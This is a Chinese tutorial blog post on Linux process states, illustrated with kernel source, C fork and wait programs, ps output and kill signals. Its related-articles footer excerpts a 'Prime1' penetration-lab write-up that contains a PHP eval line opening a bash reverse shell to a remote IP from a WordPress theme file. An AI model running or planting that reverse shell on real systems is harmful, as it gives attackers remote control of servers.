Linux:进程(三)——进程状态

目录

Linux源代码对进程的描述

R

S

D

T

t

X

Z(进程僵尸)

孤儿进程


Linux源代码对进程的描述

        理论上把进程状态大致被分为了:运行、阻塞、挂起。那么,在操作系统中具体是如何描述状态的。(有时候Linux内核也把进程称为任务)

        Linux内核的源代码定义:

/*
* The task state array is a strange "bitmap" of
* reasons to sleep. Thus "running" is zero, and
* you can test for combinations of others with
* simple bit tests.
*/
static const char * const task_state_array[] = {
"R (running)", /* 0 */
"S (sleeping)", /* 1 */
"D (disk sleep)", /* 2 */
"T (stopped)", /* 4 */
"t (tracing stop)", /* 8 */
"X (dead)", /* 16 */
"Z (zombie)", /* 32 */
};

R

        R(running),运行状态,并不意味着进程一定正在被CPU执行,只要进程在运行队列中,都显示为运行状态。(对应理论中的运行状态)

S

        S(sleeping),睡眠状态,意味着进程正在等待硬件或者软件资源,用S表示的睡眠状态是可中断睡眠,也称为浅度睡眠。(对应理论中的阻塞状态)

        在目录24919下面编辑文件myprocess.c的内容如下。

[euto@VM-4-13-centos 24919]$ cat myprocess.c 
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>int main()
{ while(1){printf("I am a process\n");sleep(1);}return 0;
}

        程序运行起来后,不要中断运行。

[euto@VM-4-13-centos 24919]$ ./myprocess 
I am a process
I am a process
I am a process
I am a process
·······

        在新的窗口打印进程信息。

[euto@VM-4-13-centos 24919]$ ps ajx | head -1 && ps ajx | grep myprocessPPID   PID  PGID   SID TTY      TPGID STAT   UID   TIME COMMAND4223  7525  7525  4223 pts/2     7525 S+    1001   0:00 ./myprocess7157  7564  7563  7157 pts/3     7563 R+    1001   0:00 grep --color=auto myprocess

        其中STAT这一列用来表示运行状态。

  • 程序myprocess正在被执行,打印的进程状态应该是R,为什么是S?

        其实这和程序的功能有关,我所写的这个源文件只有一行printf,当程序运行起来后,执行printf这一行代码的速度是非常非常快的,而这一行代码的执行结果是要把字符串输出到显示器,显示器属于硬件资源,其实这个程序的99%的时间都用来将字符串输出到显示器,这个进程大部分时间都是在阻塞队列中排队,因此,进程状态是S。如果有幸在打印的瞬间,进程正在运行队列中排队,那么打印的结果就会是R。

        实际上大部分进程都会和外设产生关联,因此大部分进程都处在S状态,而非R状态。

  • 为什么grep的进程状态是R?

        grep用来全局搜索,那么,只有当grep处于运行状态R时,才能做正在搜索的动作。

  • S+中的'+'是什么意思?

        我们在命令行中运行程序后,所启动的程序可以称为前台程序,前台程序启动后,在命令行执行其他指令是没有响应的,使用Ctrl + C可以中断运行,如果是前台程序,则进程状态都会有'+'的字样。

[euto@VM-4-13-centos 24919]$ ./myprocess 
I am a process
I am a process
I am a process
I am a process
I am a process
I am a process
pwdI am a process//运行pwd是没有响应的I am a process
I am a process
I am a process
cdI am a process//运行cd是没有响应的.I am a process
^HcI am a process
^H^HI am a process
cd ..I am a processI am a process
^C//Ctrl+C是可以中断执行流的

        如果执行下面这条指令来运行可执行程序,则启动的程序称为后台程序,后台程序运行的时候,如果在命令行中执行其他指令,是可以被响应的。但是执行Ctrl + C不能中断运行后台程序。后台进程的进程状态不带'+'字样。

[euto@VM-4-13-centos 24919]$ ./myprocess &
[1] 7297
[euto@VM-4-13-centos 24919]$ I am a process
I am a process
pwd//pwd被响应
/home/euto/linux/24919
[euto@VM-4-13-centos 24919]$ I am a process
lsI am a processMakefile  myprocess  myprocess.c
[euto@VM-4-13-centos 24919]$ llI am a process
//ll被响应
total 20
-rw-rw-r-- 1 euto euto   82 Sep 19 17:56 Makefile
-rwxrwxr-x 1 euto euto 8416 Sep 19 19:47 myprocess
-rw-rw-r-- 1 euto euto  173 Sep 19 19:46 myprocess.c
[euto@VM-4-13-centos 24919]$ I am a process
I am a process
^C//Ctrl + C不能中断运行
[euto@VM-4-13-centos 24919]$ I am a process
I am a process

       进程状态不带'+'字样。

[euto@VM-4-13-centos 24921]$ ps ajx | head -1 && ps ajx | grep myprocessPPID   PID  PGID   SID TTY      TPGID STAT   UID   TIME COMMAND
31606   824   824 31606 pts/1    31606 S     1001   0:00 ./myprocess476   861   860   476 pts/2      860 S+    1001   0:00 grep --color=auto myprocess

        如果要中断运行,则执行kill指令杀掉进程。

[euto@VM-4-13-centos 24919]$ kill -l1) SIGHUP	 2) SIGINT	 3) SIGQUIT	 4) SIGILL	 5) SIGTRAP6) SIGABRT	 7) SIGBUS	 8) SIGFPE	 9) SIGKILL	10) SIGUSR1
11) SIGSEGV	12) SIGUSR2	13) SIGPIPE	14) SIGALRM	15) SIGTERM
16) SIGSTKFLT	17) SIGCHLD	18) SIGCONT	19) SIGSTOP	20) SIGTSTP
21) SIGTTIN	22) SIGTTOU	23) SIGURG	24) SIGXCPU	25) SIGXFSZ
26) SIGVTALRM	27) SIGPROF	28) SIGWINCH	29) SIGIO	30) SIGPWR
31) SIGSYS	34) SIGRTMIN	35) SIGRTMIN+1	36) SIGRTMIN+2	37) SIGRTMIN+3
38) SIGRTMIN+4	39) SIGRTMIN+5	40) SIGRTMIN+6	41) SIGRTMIN+7	42) SIGRTMIN+8
43) SIGRTMIN+9	44) SIGRTMIN+10	45) SIGRTMIN+11	46) SIGRTMIN+12	47) SIGRTMIN+13
48) SIGRTMIN+14	49) SIGRTMIN+15	50) SIGRTMAX-14	51) SIGRTMAX-13	52) SIGRTMAX-12
53) SIGRTMAX-11	54) SIGRTMAX-10	55) SIGRTMAX-9	56) SIGRTMAX-8	57) SIGRTMAX-7
58) SIGRTMAX-6	59) SIGRTMAX-5	60) SIGRTMAX-4	61) SIGRTMAX-3	62) SIGRTMAX-2
63) SIGRTMAX-1	64) SIGRTMAX	

        信号9的功能是杀掉进程,后面跟上进程的PID。

[euto@VM-4-13-centos 24919]$ ps ajx | head -1 && ps ajx | grep myprocessPPID   PID  PGID   SID TTY      TPGID STAT   UID   TIME COMMAND
13708  7297  7297 13708 pts/2    13708 S     1001   0:00 ./myprocess
13887  7493  7492 13887 pts/3     7492 S+    1001   0:00 grep --color=auto myprocess
[euto@VM-4-13-centos 24919]$ kill -9 7297//杀掉进程
·········
I am a process[1]+  Killed                  ./myprocess

D

        D(disk sleeping),磁盘睡眠状态,只不过这种睡眠状态是不可中断睡眠,也称为深度睡眠。(D状态也对应理论中的阻塞状态)。

        一般,如果一个进程在等待磁盘的资源,那么这个进程的状态大概率会被设置为D。在内存资源紧张的时候,这个时候操作系统要选择释放掉部分进程,而状态为D的进程,操作系统会保留。

        一般如果出现D状态的进程,说明操作系统访问磁盘的速度已经非常慢了,系统离奔溃也不远了。

T

        T(stopped),暂停状态,如果一个进程想要获取某种硬件或者软件资源,但是当前资源并不能让进程获取到(比如不允许进程访问显示器资源),而操作系统也不想杀掉这个进程,为了防止这个进程有非法操作,故将这个进程状态设置为T。(T也对应理论中的阻塞状态)

        通过kill命令发送19号信号,可以让进程处于暂停的状态,同时也变成了后台进程。可以发送18号信号让进程继续运行。

18) SIGCONT	19) SIGSTOP
[euto@VM-4-13-centos 24921]$ kill -19 12235
[euto@VM-4-13-centos 24921]$ ps ajx | head -1 && ps ajx | grep myprocessPPID   PID  PGID   SID TTY      TPGID STAT   UID   TIME COMMAND
31606 12235 12235 31606 pts/1    31606 T     1001   0:00 ./myprocess476 12402 12401   476 pts/2    12401 S+    1001   0:00 grep --color=auto myprocess

t

        t(tracing stop),被追踪的暂停状态。一般在调试程序中,程序在断点处暂停的时候,就是被gdb程序追踪的暂停状态。(t也对应理论中的阻塞状态)

        启动调试程序后,在第10行打一个断点。

(gdb) l 0
1	#include <stdio.h>
2	#include <unistd.h>
3	#include <sys/types.h>
4	#include <stdlib.h>
5	
6	int main()
7	{ 
8	  while(1)
9	  {
10	   printf("I am a process\n");
(gdb) b 10
Breakpoint 1 at 0x400581: file myprocess.c, line 10.
(gdb) r
Starting program: /home/euto/linux/24921/myprocess Breakpoint 1, main () at myprocess.c:10
10	   printf("I am a process\n");
Missing separate debuginfos, use: debuginfo-install glibc-2.17-326.el7_9.x86_64
(gdb) 
······

        此时查看进程状态就是t状态

PPID   PID  PGID   SID TTY      TPGID STAT   UID   TIME COMMAND
31606 25839 25839 31606 pts/1    25839 S+    1001   0:00 gdb myprocess
25839 25940 25940 31606 pts/1    25839 t     1001   0:00 /home/euto/linux/24921/myprocess476 26437 26436   476 pts/2    26436 S+    1001   0:00 grep --color=auto myprocess

X

        X(dead),X就是理论中的终止状态、进程死亡后的状态,X一般是瞬时状态,没法打印出来。(对应理论中的死亡或者终止状态)。

Z(进程僵尸)

        Z(zombie),僵尸状态

        当一个进程准备死亡之前,(进程 = PCB+可执行程序)操作系统会把代码和数据释放掉,但是PCB会保留一段时间,在这段时间内,进程就是处于Z状态

        注意,处于Z状态的时候,进程已经退出了,只是PCB被保留一段时间。

        进程消亡的时候,都要先后经过Z、X两种状态

  • 那么,为什么操作系统要把一个消亡进程的PCB保留一段时间?

        进程都有父进程,子进程都是由父进程创建出来的。父进程创建子进程的目的必然是为了完成某一个任务,达到某种需求,那么,当这个进程快要消亡的时候,这个进程所肩负的任务是否完成,以及具体详情是怎么样的,都要由父进程调用子进程的PCB才能得知,故保留子进程的PCB一段时间来让父进程获取信息。

  • 如果父进程没有调用消亡子进程的PCB会怎样?

        操作系统会把这个PCB一直保留,这也算作内存泄露!!!


        编辑源文件的内容如下。

int main()
{pid_t id = fork();if(id == 0){int cnt = 5;while(cnt){printf("I am child,pid:%d,ppid:%d\n",getpid(),getppid());sleep(1);--cnt;}exit(0);}//父进程while(1){printf("I am father,pid:%d,ppid:%d\n",getpid(),getppid());sleep(1);}return 0;
}

        这个程序在运行五秒后,子进程退出,由于父进程没有读取PCB,故子进程会处于僵尸状态。

 PPID   PID  PGID   SID TTY      TPGID STAT   UID   TIME COMMAND
31606 10767 10767 31606 pts/1    10767 S+    1001   0:00 ./myprocess
10767 10768 10767 31606 pts/1    10767 S+    1001   0:00 ./myprocessPPID   PID  PGID   SID TTY      TPGID STAT   UID   TIME COMMAND
31606 10767 10767 31606 pts/1    10767 S+    1001   0:00 ./myprocess
10767 10768 10767 31606 pts/1    10767 S+    1001   0:00 ./myprocess
······
PPID   PID  PGID   SID TTY      TPGID STAT   UID   TIME COMMAND
31606 10767 10767 31606 pts/1    10767 S+    1001   0:00 ./myprocess
10767 10768 10767 31606 pts/1    10767 Z+    1001   0:00 [myprocess] <defunct>PPID   PID  PGID   SID TTY      TPGID STAT   UID   TIME COMMAND
31606 10767 10767 31606 pts/1    10767 S+    1001   0:00 ./myprocess
10767 10768 10767 31606 pts/1    10767 Z+    1001   0:00 [myprocess] <defunct>PPID   PID  PGID   SID TTY      TPGID STAT   UID   TIME COMMAND
31606 10767 10767 31606 pts/1    10767 S+    1001   0:00 ./myprocess
10767 10768 10767 31606 pts/1    10767 Z+    1001   0:00 [myprocess] <defunct>
······

        让父进程获取子进程的PCB信息后,那么子进程的僵尸状态就会消失,变成X状态,只是X状态是瞬时状态,显示器速度太慢,我们打印不出来。

        编辑源文件内容如下,子进程变成僵尸后,要让父进程作等待操作wait。

man 2 wait
WAIT(2)                         Linux Programmer's Manual                        WAIT(2)NAMEwait, waitpid, waitid - wait for process to change stateSYNOPSIS#include <sys/types.h>#include <sys/wait.h>pid_t wait(int *status);pid_t waitpid(pid_t pid, int *status, int options);int waitid(idtype_t idtype, id_t id, siginfo_t *infop, int options);
·······

        父子进程一起运行5s后。子进程变僵尸状态,父进程继续运行5s。然后父进程等待,僵尸状态消失。父进程再运行5s后,程序结束运行。 

int main()
{pid_t id = fork();if(id == 0){int cnt = 5;while(cnt){printf("I am child,pid:%d,ppid:%d\n",getpid(),getppid());sleep(1);--cnt;}exit(0);}//父进程int cnt = 10;while(cnt){printf("I am father,pid:%d,ppid:%d\n",getpid(),getppid());sleep(1);--cnt;}wait(NULL);printf("father get child\n");sleep(5);return 0;
}

        运行结果符合预期。

 PPID   PID  PGID   SID TTY      TPGID STAT   UID   TIME COMMAND
31606 19361 19361 31606 pts/1    19361 S+    1001   0:00 ./myprocess
19361 19362 19361 31606 pts/1    19361 S+    1001   0:00 ./myprocessPPID   PID  PGID   SID TTY      TPGID STAT   UID   TIME COMMAND
31606 19361 19361 31606 pts/1    19361 S+    1001   0:00 ./myprocess
19361 19362 19361 31606 pts/1    19361 S+    1001   0:00 ./myprocess
·······PPID   PID  PGID   SID TTY      TPGID STAT   UID   TIME COMMAND
31606 19361 19361 31606 pts/1    19361 S+    1001   0:00 ./myprocess
19361 19362 19361 31606 pts/1    19361 Z+    1001   0:00 [myprocess] <defunct>PPID   PID  PGID   SID TTY      TPGID STAT   UID   TIME COMMAND
31606 19361 19361 31606 pts/1    19361 S+    1001   0:00 ./myprocess
19361 19362 19361 31606 pts/1    19361 Z+    1001   0:00 [myprocess] <defunct>
······PPID   PID  PGID   SID TTY      TPGID STAT   UID   TIME COMMAND
31606 19361 19361 31606 pts/1    19361 S+    1001   0:00 ./myprocessPPID   PID  PGID   SID TTY      TPGID STAT   UID   TIME COMMAND
31606 19361 19361 31606 pts/1    19361 S+    1001   0:00 ./myprocess
·······

孤儿进程

        如果父子进程中,父进程先退出,子进程会发生什么变化。

        编辑源文件内容如下,让子进程运行50秒,让父进程运行5s,则父进程会先退出。

int main()
{pid_t id = fork();if(id == 0){int cnt = 50;while(cnt){printf("I am child,pid:%d,ppid:%d\n",getpid(),getppid());sleep(1);--cnt;}exit(0);}//父进程int cnt = 5;while(cnt){printf("I am father,pid:%d,ppid:%d\n",getpid(),getppid());sleep(1);--cnt;}

        运行结果如下。

[euto@VM-4-13-centos 24921]$ ./myprocess 
I am father,pid:31424,ppid:31606
I am child,pid:31425,ppid:31424
I am father,pid:31424,ppid:31606
I am child,pid:31425,ppid:31424
I am father,pid:31424,ppid:31606
I am child,pid:31425,ppid:31424
I am father,pid:31424,ppid:31606
I am child,pid:31425,ppid:31424
I am father,pid:31424,ppid:31606
I am child,pid:31425,ppid:31424
I am child,pid:31425,ppid:31424
[euto@VM-4-13-centos 24921]$ I am child,pid:31425,ppid:1
I am child,pid:31425,ppid:1
I am child,pid:31425,ppid:1
I am child,pid:31425,ppid:1
I am child,pid:31425,ppid:1
······

        运行五秒后,父进程退出,子进程变成孤儿进程,同时变成后台进程。此外,子进程被PID为1的进程“领养”

PPID   PID  PGID   SID TTY      TPGID STAT   UID   TIME COMMAND
31606 31424 31424 31606 pts/1    31424 S+    1001   0:00 ./myprocess
31424 31425 31424 31606 pts/1    31424 S+    1001   0:00 ./myprocessPPID   PID  PGID   SID TTY      TPGID STAT   UID   TIME COMMAND1 31425 31424 31606 pts/1    31606 S     1001   0:00 ./myprocessPPID   PID  PGID   SID TTY      TPGID STAT   UID   TIME COMMAND1 31425 31424 31606 pts/1    31606 S     1001   0:00 ./myprocess

        PID为1的进程就是操作系统自己

[euto@VM-4-13-centos 24921]$ ps ajx | head -1 && ps ajx | grep 1 | grep -v grepPPID   PID  PGID   SID TTY      TPGID STAT   UID   TIME COMMAND0     1     1     1 ?           -1 Ss       0  33:30 /usr/lib
/systemd/systemd --switched-root --system --deserialize 22

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/146573.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

使用Renesas R7FA8D1BH (Cortex®-M85)和微信小程序App数据传输

目录 概述 1 系统架构 1.1 系统结构 1.2 系统硬件框架结构 1.3 蓝牙模块介绍 2 微信小程序实现 2.1 UI介绍 2.2 代码实现 3 上位机功能实现 3.1 通信协议 3.2 系统测试 4 下位机功能实现 4.1 功能介绍 4.2 代码实现 4.3 源代码文件 5 测试 5.1 编译和下载代码…

微服务基础设施选型

微服务基础设施架构 微服务基础设施架构全貌 微服务 vs SOA (Round 2) 微服务数量越多越复杂 微服务 vs SOA (Round 3) 微服务把服务的粒度变小&#xff0c;进行了标准化拆分。同时也将ESB拆分为了微服务。 微服务基础设施优先级 这里面体现了基础设施的优先级&#xff0c;如…

人工智能之就业方向(The Employment Direction of Artificial Intelligence)

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:Linux运维老纪的首页…

银河麒麟桌面操作系统V10(SP1)离线升级SSH(OpenSSH)服务

目录 前言 准备工作 准备与目标服务器相同版本的操作系统 准备编译依赖包 下载OpenSSL源码包 下载OpenSSH源码包 升级OpenSSH服务 查看当前版本信息 安装编译依赖包 安装OpenSSL 安装OpenSSH 前言 OpenSSH是一个广泛使用的开源SSH(安全壳)协议的实现,它提供了安…

手机自动化测试环境之夜神模拟器inspector部署验证

1、自动化测试环境部署_总览图检查表流程图 Python需要安装Appium-Python-Clicent去定位元素&#xff1b;Appium是一个中间的服务器&#xff0c;它需要依赖node.js&#xff0c;python的脚本通过appium和手机进行交互&#xff1b;手机app的环境都是java环境&#xff0c;先安装jd…

PMBOK® 第六版 排列活动顺序

目录 读后感—PMBOK第六版 目录 职场中有句玩笑话&#xff1a;“工作是永远做不完的&#xff0c;任何时候都不可能做完。”这里所吐槽的要点就在于工作任务繁多以及工作缺乏秩序。工作确实是做不完的&#xff0c;倘若工作都能完成&#xff0c;那也就不需要工作了。 工作中令人…

【服务器第二期】mobaxterm软件下载及连接

【服务器第二期】mobaxterm软件下载及连接 前言什么是SSH什么是FTP/SFTP mobaxterm软件介绍mobaxterm软件下载SSH登录使用方法1-新建ssh连接方法2-打开已有的ssh连接方法3-通过ssh命令建立连接 SFTP数据传输方法1-建立ssh连接后直接拖拽方法2-建立sftp连接再拖拽方法3-直接使用…

SURILL MILL搭配cnc机器的打样(3维导入 使用)

导入STP文件&#xff0c;然后 选择 &#xff0c;点击 曲面里的 曲面 炸开 (和曲线分开 ) 到处曲面 的面与 面的先分开了 看 实际情况 &#xff0c;接下来 也可以 曲线炸开 来 分解 组合 然后 &#xff0c;此时选择面还是没有生产成线 点击文件 那一行的曲面 绘制 ,借助曲面…

华为云centos7.9按装ambari 2.7.5 hostname 踩坑记录

华为云centos7.9按装ambari 2.7.5踩坑记录 前言升华总结 前言 一般都是废话&#xff0c;本人专业写bug业余运维。起初找了三台不废弃的台式机&#xff0c;开始重装centos系统&#xff0c;开始了HDP3.1.5Ambari2.7.5安装。 推荐一波好文&#xff0c;一路长绿。跑了一段时间没啥…

3DMAX乐高积木插件LegoBlocks使用方法

3DMAX乐高积木插件LegoBlocks&#xff0c;用户可以通过控件调整和自定义每个乐高积木的外观和大小。 【适用版本】 3dMax2009或更高版本&#xff08;不仅限于此范围&#xff09; 【安装方法】 3DMAX乐高积木插件无需安装&#xff0c;使用时直接拖动插件脚本文件到3dMax视口中…

适用于 Windows 的 7 大数据恢复工具,可靠的数据恢复工具可有效地恢复丢失的文件

数据丢失可能是一种令人沮丧的经历&#xff0c;无论是由于意外删除、磁盘格式化还是系统崩溃。幸运的是&#xff0c;Windows 用户可以使用几种可靠的数据恢复工具来有效地恢复丢失的文件。以下是前七名数据恢复工具的综述&#xff0c;包括奇客数据恢复产品&#xff1a; 适用于 …

大数据新视界 --大数据大厂之 Node.js 与大数据交互:实现高效数据处理

&#x1f496;&#x1f496;&#x1f496;亲爱的朋友们&#xff0c;热烈欢迎你们来到 青云交的博客&#xff01;能与你们在此邂逅&#xff0c;我满心欢喜&#xff0c;深感无比荣幸。在这个瞬息万变的时代&#xff0c;我们每个人都在苦苦追寻一处能让心灵安然栖息的港湾。而 我的…

物理学基础精解【7】

文章目录 平面方程直角坐标及基本运算 参考文献 平面方程 直角坐标及基本运算 向量的四则运算 下面由文心一言自动生成 向量的四则运算主要包括加法、减法、数乘&#xff08;标量乘法&#xff09;和数量积&#xff08;点积或内积&#xff09;&#xff0c;但通常不直接称为“除…

CANopen通讯协议笔记

CANopen通讯协议笔记 CANopen 通信对象编号CANopen整体框架网络管理&#xff08;NMT&#xff09;主要任务上线报文心跳报文过程数据对象&#xff08;PDO&#xff09;SDO服务数据对象对象字典概述 CANopen 通信对象编号 CANopen报文传输采用 CAN 标准帧格式。 这里的CAN-ID也叫…

互联网全景消息(5)之RocketMq快速入门(下)

一、RocketMQ的存储设计 1.1 Domain Model 1.1.1 Message Message是RocketMQ消息引擎中的主体。messageId是全局唯一的。MessageKey是业务系统(生产者)生成的,所以如果要结合业务,可以使用MessageKey作为业务系统的唯一索引。 1.1.2 Topic subTopics==Message Queue,其实…

0基础学习HTML(十)表格

HTML 表格 HTML 表格由 <table> 标签来定义。 HTML 表格是一种用于展示结构化数据的标记语言元素。 每个表格均有若干行&#xff08;由 <tr> 标签定义&#xff09;&#xff0c;每行被分割为若干单元格&#xff08;由 <td> 标签定义&#xff09;&#xff0c…

计算机毕业设计之:基于微信小程序的校园流浪猫收养系统

博主介绍&#xff1a; ✌我是阿龙&#xff0c;一名专注于Java技术领域的程序员&#xff0c;全网拥有10W粉丝。作为CSDN特邀作者、博客专家、新星计划导师&#xff0c;我在计算机毕业设计开发方面积累了丰富的经验。同时&#xff0c;我也是掘金、华为云、阿里云、InfoQ等平台…

YOLOV8 OpenCV + usb 相机 实时识别

1 OpenCV 读相机 import cv2cap cv2.VideoCapture(0) while (1):# get a frameret, frame cap.read()# show a framecv2.imshow("capture", frame)if cv2.waitKey(1) & 0xFF ord(q):# cv2.imwrite("/opt/code/image/fangjian2.jpeg", frame)#passb…

前端-js例子:tab切换

实现效果&#xff1a; 实现步骤&#xff1a; 1. body内容元素 <div class"container"><ul class"top_title"><li class"first" index"1">title1</li><li index"2">title2</li><li …

Prime1 靶机渗透 ( openssl 解密 ,awk 字符串处理,信息收集)

简介 Prime1 的另一种解法 起步 从初级shell开始 反弹 shell 路径 http://192.168.50.153/wordpress/wp-content/themes/twentynineteen/secret.php 其内的 shell 为 <?php eval("/bin/bash -c bash -i >& /dev/tcp/192.168.50.147/443 0>&1"…